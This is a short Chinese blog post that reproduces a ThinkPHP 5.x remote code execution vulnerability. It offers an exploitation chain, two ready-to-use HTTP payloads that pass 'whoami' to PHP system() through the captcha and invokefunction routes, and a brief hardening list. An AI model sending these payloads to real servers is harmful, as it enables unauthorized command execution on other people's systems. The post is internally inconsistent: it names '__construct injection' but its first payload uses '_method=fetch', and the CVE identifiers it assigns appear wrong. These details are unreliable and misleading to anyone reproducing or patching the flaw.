ThinkPHP5x-RCE漏洞复现

ThinkPHP 5.x RCE 复现(CVE-2018-2722/CVE-2019-2883):请求方式注入、__construct 注入、RCE 利用、防御加固。

写在前面:合法学习边界

ThinkPHP 攻击只在授权测试环境进行。

一、ThinkPHP RCE 利用链

ThinkPHP RCE 利用链
1
① 发现 ThinkPHP → ② 确认版本 → ③ __construct 注入 → ④ 执行命令 → ⑤ RCE

二、漏洞信息

1
2
CVE-2018-2722(5.0.x < 5.0.22):/index.php?s=captcha
CVE-2019-2883(5.1.x < 5.1.30):/index.php?s=/Index/\think\app/invokefunction

三、利用步骤

1
2
3
4
5
6
# CVE-2018-2722
POST /index.php?s=captcha
_method=fetch&filter=system&server[REQUEST_URI]=whoami

# CVE-2019-2883
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami

四、防御加固

1
2
3
升级到 ThinkPHP 5.0.22+ / 5.1.31+
修改默认路由模式
WAF 拦截 invokefunction

五、小结

ThinkPHP 5.x 的 RCE 漏洞是 ThinkPHP 最经典的漏洞。升级到安全版本是唯一有效的防御。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 30, 2026 10:00 +0800